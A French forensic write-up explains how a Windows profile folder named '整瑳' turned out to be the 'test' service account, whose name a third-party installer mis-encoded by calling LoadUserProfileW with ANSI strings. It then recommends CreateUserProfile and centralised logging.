Lors des investigations conduites, l’étude du fichier journal « Security » sur la ressource analysée n’a cependant révéler aucune information concernant la création du compte utilisateur « 整瑳». 
En effet, une taille maximale est attribuée aux journaux Windows ; une rotation est ainsi appliquée en cas de dépassement (les anciens journaux sont donc écrasés au fur et à mesure de façon automatique). Le journal « Security » étant très sollicité, il semble donc légitime que l’événement ne soit plus présent.

Néanmoins, l’étude du journal système « Microsoft-Windows-User Profile Operational » a révélé que la ruche utilisateur « NTUSER.DAT » présente au sein du dossier de l’utilisateur « C:\Users\整瑳\ » est chargée en mémoire à intervalles réguliers sur la ressource analysée : l’utilisateur se connecte donc régulièrement sur le système.


Analyse des journaux Microsoft-Windows-User Profile Operational 

Par ailleurs, cet évènement révèle le SID Security IDentifier ») associé à l’utilisateur « 整瑳 » : 
  • S-1-5-21-2165619761-3865691470-1251770841-1001

L’analyse de la base SAM du système révèle que cet SID est associé à l’utilisateur nommé « test ». Par ailleurs, aucun utilisateur nommé « 整瑳 » ne semble être configuré sur le système :


Extrait de la base SAM 

Or, la documentation Microsoft décrit le fonctionnement suivant concernant l’attribution des SID sur une ressource Windows :
« For every local account and group, the SID is unique for the computer where it was created; no two accounts or groups on the computer ever share the same SID » (https://technet.microsoft.com/en-us/library/cc778824(v=ws.10).aspx)
Ces différentes informations laissent donc présager que les utilisateurs « test » et « 整瑳 » sont donc un unique utilisateur.
L’analyse du registre dévoile que le chemin de profil associé à l’utilisateur disposant du SID précédemment identifié est le dossier « C:\Users\整瑳 » :


Données de la valeur « ProfileImagePath »

Le compte utilisateur nommé « test » dispose donc du dossier « C:\Users\整瑳 » pour dossier personnel.
L’analyse de la valeur binaire de la clé « ProfileImagePath » révèle la présence de la chaîne de caractères « test ». Cependant, cette dernière dévoile que les caractères « test » n’ont pas correctement été encodée en unicode (selon lequel un caractère est défini sur deux octets).
Ainsi, les octets « te » et « st » représentent les deux caractères en unicode : 整瑳.


Mauvais encodage de la chaîne de caractères « test » au sein de la valeur « ProfileImagePath »

En effet, cette valeur devrait être définie à « .t.e.s.t.. » (soit « 00 74 00 65 00 73 00 74 00 00 ») pour que la chaîne de caractères « test » soit correctement affichée par le système :


Correction de la valeur « ProfileImagePath » en unicode

Ainsi, cela confirme que : 
  • L’utilisateur « 整瑳 » et « test » sont un seul et même utilisateur ;
  • Le dossier « C:\Users\整瑳 » est le dossier personnel de l’utilisateur « test ».


À la suite d’un entretien avec les personnes en charge de l’administration de la ressource analysée, les investigateurs ont été informés que le compte « test » est exploité en tant que compte de service par un logiciel tiers. 
Ainsi, il est fort probable qu’une erreur d’implémentation au sein de la fonction générant le dossier personnel du compte de service créé lors de l’installation de ce logiciel soit à l’origine de ce bogue.
En effet, la timeline des évènements systèmes s’étant produits sur la ressource, générée à l’aide de l’outil plaso, a permis d’illustrer que l’enregistrement dans la base SAM du compte « test » et la création du dossier utilisateur « C:\Users\整瑳 » étaient liés : ces deux évènements se sont produits simultanément. Néanmoins, aucune trace de l’installation du logiciel en question n’a pu être récupérée.

Enfin, il a été possible de reproduire ce bogue en modifiant légèrement le code source disponible via le lien suivant : https://support.microsoft.com/en-us/help/196070/how-to-programmatically-cause-the-creation-of-a-user-s-profile.
En effet, un comportement similaire (création d’un utilisateur disposant d’un dossier non encodé au format unicode) a pu être obtenu en remplaçant l’appel à la fonction LoadUserProfileA() par la fonction LoadUserProfileW() :


Extrait de la documentation de la fonction LoadUserProfile

Ainsi, il est très probable qu’une erreur d’implémentation se soit glissée au sein du logiciel tiers déployé sur la ressource analysée. 
En effet, une erreur lors de l’appel à la fonction LoadUserProfile a été réalisée : la fonction LoadUserProfileW a été appelée au détriment de la fonction LoadUserProfileA. Or, le programme devait probablement manipuler des chaînes de caractères ANSI, générant ainsi une erreur d’encodage lors de la création du dossier utilisateur associé au compte de service configuré par le logiciel.


Conclusion

La présence d’un dossier chinois sur un système n’induit pas forcément la compromission de ce dernier ; néanmoins, des investigations doivent systématiquement être conduites. En effet, cette dernière peut être liée à la mauvaise implémentation d’un logiciel déployé sur le système.
Par ailleurs, une attention particulière doit être portée lors de l’utilisation de fonctions sensibles à l’encodage, afin d’éviter l’introduction de bogues et potentiels effets de bord lors de l’exécution de tels programmes. De tels comportements peuvent être évités en exploitant les dernières fonctions offertes par les API Windows ; notamment, la fonction CreateUserProfile peut être employée pour créer des profils utilisateurs sur les systèmes Windows supérieur à Windows Vista. Cette dernière ne diffère pas selon l’encodage souhaitée (ANSI ou unicode).
Enfin, il convient de centraliser les journaux systèmes en temps réel vers une ressource dédiée, et d’externaliser par la suite ces derniers afin d’éviter toute perte d’enregistrements ; facilitant ainsi les investigations en cas d’incident.


François LELIEVRE